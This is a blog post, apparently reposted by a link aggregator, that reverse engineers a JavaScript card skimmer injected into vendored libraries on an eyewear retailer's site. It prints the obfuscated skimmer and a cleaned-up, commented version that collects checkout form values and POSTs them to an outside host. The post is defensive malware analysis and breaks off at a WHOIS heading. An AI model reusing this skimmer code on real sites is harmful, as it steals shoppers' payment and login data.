24

Reversing JS Malware From marveloptics.com

 6 years ago
source link: https://www.tuicool.com/articles/hit/NnEnI3U
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Recently, my mom was browsing for a new pair of glasses, and upon visiting marveloptics.com , her antivirus software started flashing alerts over some malicious javascript. Always curious to see how real-world attacks work, I reverse engineered it.

Files are available in this GitHub repository .

Location

The hijackers injected their code in vendored libraries like modernizr and openid, which offers a few benefits.

  • Vendored libraries will contain minified code, which make it harder to spot malicious and obfuscated code.
  • Injected malware will survive updates to the application code, since developers update their dependencies less frequently, if ever.

Deobfuscating

Files: modernizr.js openid.js

They contain the exact same code, and it’s clearly obfuscated with something like javascriptobfuscator.com.

Luckily, js-beautify specifically deobfuscates these kinds of scripts.

$ js-beautify -x -s 2 original/openid.js > deobfuscated.js
var i3692386a609ff6fd204a1418521ec651 = {
  snd: null,
  o7d6e88f271f3ac078a708f7123e10e14: "https://webfotce.me/js/form.js",
  myid: (function(_0x79e5x2) {
    var _0x79e5x3 = document["cookie"]["match"](new RegExp("(?:^|; )" + _0x79e5x2["replace"](/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
    return _0x79e5x3 ? decodeURIComponent(_0x79e5x3[1]) : undefined
  })("setidd") || (function() {
    var _0x79e5x4 = new Date();
    var _0x79e5x5 = _0x79e5x4["getTime"]() + "-" + Math["floor"](Math["random"]() * (999999999 - 11111111 + 1) + 11111111);
    var _0x79e5x6 = new Date(new Date()["getTime"]() + 60 * 60 * 24 * 1000);
    document["cookie"] = "setidd=" + _0x79e5x5 + "; path=/; expires=" + _0x79e5x6["toUTCString"]();
    return _0x79e5x5
  })(),
  clk: function() {
    i3692386a609ff6fd204a1418521ec651["snd"] = null;
    var _0x79e5x7 = document["querySelectorAll"]("input, select, textarea, checkbox, button");
    for (var _0x79e5x8 = 0; _0x79e5x8 < _0x79e5x7["length"]; _0x79e5x8++) {
      if (_0x79e5x7[_0x79e5x8]["value"]["length"] > 0) {
        var _0x79e5x9 = _0x79e5x7[_0x79e5x8]["name"];
        if (_0x79e5x9 == "") {
          _0x79e5x9 = _0x79e5x8
        };
        i3692386a609ff6fd204a1418521ec651["snd"] += _0x79e5x7[_0x79e5x8]["name"] + "=" + _0x79e5x7[_0x79e5x8]["value"] + "&"
      }
    }
  },
  send: function() {
    try {
      var _0x79e5xa = document["querySelectorAll"]("a[href*=\'javascript:void(0)\'],button, input, submit, .btn, .button");
      for (var _0x79e5x8 = 0; _0x79e5x8 < _0x79e5xa["length"]; _0x79e5x8++) {
        var _0x79e5xb = _0x79e5xa[_0x79e5x8];
        if (_0x79e5xb["type"] != "text" && _0x79e5xb["type"] != "select" && _0x79e5xb["type"] != "checkbox" && _0x79e5xb["type"] != "password" && _0x79e5xb["type"] != "radio") {
          if (_0x79e5xb["addEventListener"]) {
            _0x79e5xb["addEventListener"]("click", i3692386a609ff6fd204a1418521ec651["clk"], false)
          } else {
            _0x79e5xb["attachEvent"]("onclick", i3692386a609ff6fd204a1418521ec651["clk"])
          }
        }
      };
      var _0x79e5xc = document["querySelectorAll"]("form");
      for (vari = 0; _0x79e5x8 < _0x79e5xc["length"]; _0x79e5x8++) {
        if (_0x79e5xc[_0x79e5x8]["addEventListener"]) {
          _0x79e5xc[_0x79e5x8]["addEventListener"]("submit", i3692386a609ff6fd204a1418521ec651["clk"], false)
        } else {
          _0x79e5xc[_0x79e5x8]["attachEvent"]("onsubmit", i3692386a609ff6fd204a1418521ec651["clk"])
        }
      };
      if (i3692386a609ff6fd204a1418521ec651["snd"] != null) {
        var _0x79e5xd = location["hostname"]["split"](".")["slice"](0)["join"]("_") || "nodomain";
        var _0x79e5xe = btoa(i3692386a609ff6fd204a1418521ec651["snd"]);
        var _0x79e5xf = new XMLHttpRequest();
        _0x79e5xf["open"]("POST", i3692386a609ff6fd204a1418521ec651["o7d6e88f271f3ac078a708f7123e10e14"], true);
        _0x79e5xf["setRequestHeader"]("Content-type", "application/x-www-form-urlencoded");
        _0x79e5xf["send"]("info=" + _0x79e5xe + "&hostname=" + _0x79e5xd + "&key=" + i3692386a609ff6fd204a1418521ec651["myid"])
      };
      i3692386a609ff6fd204a1418521ec651["snd"] = null;
      _0x79e5xe = null;
      setTimeout(function() {
        i3692386a609ff6fd204a1418521ec651["send"]()
      }, 30)
    } catch (e) {}
  }
};
if ((new RegExp("onepage|checkout|onestep", "gi"))["test"](window["location"])) {
  i3692386a609ff6fd204a1418521ec651["send"]()
}

Wow, that’s a little bit better, but still a huge mess! Next comes the tedious work of find-and-replacing variable names and adding comments:

var Malware = {
  data: null,
  url: "https://webfotce.me/js/form.js",
  myid: (function(cookieName) {
    // Check setidd cookie for id
    var id = document.cookie.match(new RegExp("(?:^|; )" + cookieName.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
    return id ? decodeURIComponent(id[1]) : undefined;
  })("setidd") || (function() {
    // If the setidd cookie doesn't exist, then generate a new id and save it in the setidd cookie
    // IDs look like 1529853014535-289383517
    // Unix timestamp (ms), a dash, and a long random number
    var timestamp = new Date();
    var id = timestamp.getTime() + "-" + Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
    var expiration = new Date(new Date().getTime() + 60 * 60 * 24 * 1000); // Cookie expires in 24 hours
    document.cookie = "setidd=" + id + "; path=/; expires=" + expiration.toUTCString();
    return id;
  })(),
  stealData: function() {
    // Serializes the values of inputs, dropdowns, textareas, checkboxes, and buttons (?)
    // Saves them in Malware.data
    Malware.data = null;
    var elements = document.querySelectorAll("input, select, textarea, checkbox, button");
    for (var i = 0; i < elements.length; i++) {
      if (elements[i].value.length > 0) {
        var name = elements[i].name;
        if (name == "") {
          name = i;
        };
        Malware.data += elements[i].name + "=" + elements[i].value + "&";
      }
    }
  },
  send: function() {
    try {
      // When the user clicks any buttons or form inputs, run stealData
      var elements = document.querySelectorAll("a[href*=\'javascript:void(0)\'],button, input, submit, .btn, .button");
      for (var i = 0; i < elements.length; i++) {
        var element = elements[i];
        if (element.type != "text" && element.type != "select" && element.type != "checkbox" && element.type != "password" && element.type != "radio") {
          if (element.addEventListener) {
            element.addEventListener("click", Malware.stealData, false);
          } else {
            element.attachEvent("onclick", Malware.stealData);
          }
        }
      };

      // When the user submits a form, run stealData
      var formElements = document.querySelectorAll("form");
      for (vari = 0; i < formElements.length; i++) { // Yes, this is their typo!
        if (formElements[i].addEventListener) {
          formElements[i].addEventListener("submit", Malware.stealData, false);
        } else {
          formElements[i].attachEvent("onsubmit", Malware.stealData);
        }
      };

      // If there's any data to send, then send it to configured url
      if (Malware.data != null) {
        var hostname = location.hostname.split(".").slice(0).join("_") || "nodomain";
        var data = btoa(Malware.data); // base64 encoded
        var xhr = new XMLHttpRequest();
        xhr.open("POST", Malware.url, true);
        xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhr.send("info=" + data + "&hostname=" + hostname + "&key=" + Malware.myid);
      };
      Malware.data = null;
      data = null;
      setTimeout(function() {
        Malware.send();
      }, 30); // This whole function runs every 30 milliseconds!
    } catch (e) {}
  }
};

// Only run on pages with worthwhile info
if ((new RegExp("onepage|checkout|onestep", "gi")).test(window.location)) {
  Malware.send();
}

What does it do?

Step by step, here’s what the code does:

Start it off

// Only run on pages with worthwhile info
if ((new RegExp("onepage|checkout|onestep", "gi")).test(window.location)) {
  Malware.send();
}

This is the entry point of the entire script, and it calls, but only if the page is a checkout page.

Declare the main object

var Malware = {
  data: null,
  url: "https://webfotce.me/js/form.js",

I renamed it to Malware , and the bulk of the code lives inside this object literal. data will eventually store the user’s stolen data, which will be sent to url .Details about this domain

Identify the user

myid: (function(cookieName) {
  // Check setidd cookie for id
  var id = document.cookie.match(new RegExp("(?:^|; )" + cookieName.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
  return id ? decodeURIComponent(id[1]) : undefined;
})("setidd") || (function() {
  // If the setidd cookie doesn't exist, then generate a new id and save it in the setidd cookie
  // IDs look like 1529853014535-289383517
  // Unix timestamp (ms), a dash, and a long random number
  var timestamp = new Date();
  var id = timestamp.getTime() + "-" + Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
  var expiration = new Date(new Date().getTime() + 60 * 60 * 24 * 1000); // Cookie expires in 24 hours
  document.cookie = "setidd=" + id + "; path=/; expires=" + expiration.toUTCString();
  return id;
})(),

myid stores a string ID to identify the user.

In the first block, the program checks for a cookie called setidd . If it exists (the victim is a returning user), then it parses the cookie for the ID, and stores it in myid .

However, if the cookie does not exist, then it will generate a new ID, and save it in myid and the setidd cookie, which expires in 24 hours. IDs are made up of the current unix timestamp, a dash, and a long random number, and look like 1529853014535-289383517 .

Helper function to vacuum up data

stealData: function() {
  // Serializes the values of inputs, dropdowns, textareas, checkboxes, and buttons (?)
  // Saves them in Malware.data
  Malware.data = null;
  var elements = document.querySelectorAll("input, select, textarea, checkbox, button");
  for (var i = 0; i < elements.length; i++) {
    if (elements[i].value.length > 0) {
      var name = elements[i].name;
      if (name == "") {
        name = i;
      };
      Malware.data += elements[i].name + "=" + elements[i].value + "&";
    }
  }
},

First, it clears out the data property by setting it to null . Then, it finds all text inputs on the page, and saves their names and values in the format:

username=admin&password=hunter2

But actually, because data starts out as null , when the program concatenates new values to it, the resulting string ends up looking more like this:

nullusername=admin&password=hunter2

This is how we know we’re dealing with top tier hackers.

The big one: send()

send: function() {
  try {
    // ...
  } catch (e) {}
}

These are pro developers, and pros never let errors get in their way.

Add event listeners

// When the user clicks any buttons or form inputs, run stealData
var elements = document.querySelectorAll("a[href*=\'javascript:void(0)\'],button, input, submit, .btn, .button");
for (var i = 0; i < elements.length; i++) {
  var element = elements[i];
  if (element.type != "text" && element.type != "select" && element.type != "checkbox" && element.type != "password" && element.type != "radio") {
    if (element.addEventListener) {
      element.addEventListener("click", Malware.stealData, false);
    } else {
      element.attachEvent("onclick", Malware.stealData);
    }
  }
};

The malware injects an event listener to all buttons on the page, so when the user clicks any of them, then they runagain. Testing for element.addEventListener and using element.attachEvent if it doesn’t exist is a trick to support Internet Explorer 8 and below.

// When the user submits a form, run stealData
var formElements = document.querySelectorAll("form");
for (vari = 0; i < formElements.length; i++) { // Yes, this is their typo!
  if (formElements[i].addEventListener) {
    formElements[i].addEventListener("submit", Malware.stealData, false);
  } else {
    formElements[i].attachEvent("onsubmit", Malware.stealData);
  }
};

They attempt to do the same thing for form submission too. However, they made a typo: instead of writing var i = 0 , they wrote vari = 0 . This instead creates a global variable called vari and sets it to 0. Luckily, the i from the previous loop is still in scope since it’s scoped to the function. Because of this, i starts higher than 0, and likely higher than formElements.length too, meaning the loop body never actually runs.

Again, we’re dealing with pros here.

Send the data!

// If there's any data to send, then send it to configured url
if (Malware.data != null) {
  var hostname = location.hostname.split(".").slice(0).join("_") || "nodomain";
  var data = btoa(Malware.data); // base64 encoded
  var xhr = new XMLHttpRequest();
  xhr.open("POST", Malware.url, true);
  xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xhr.send("info=" + data + "&hostname=" + hostname + "&key=" + Malware.myid);
};

If there’s any data inside data (set by) then POST it to their. Everything inside data gets base64 encoded so it doesn’t collide with the rest of their POST request, which includes theID and the current page’s hostname (with dots converted to underscores, for some reason).

Clean up and run again

Malware.data = null;
data = null;
setTimeout(function() {
  Malware.send();
}, 30); // This whole function runs every 30 milliseconds!

send recursively calls itself every 30 milliseconds (!) . They really don’t care about performance.

WHOIS behind this?

A WHOIS query of their domain reveals


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK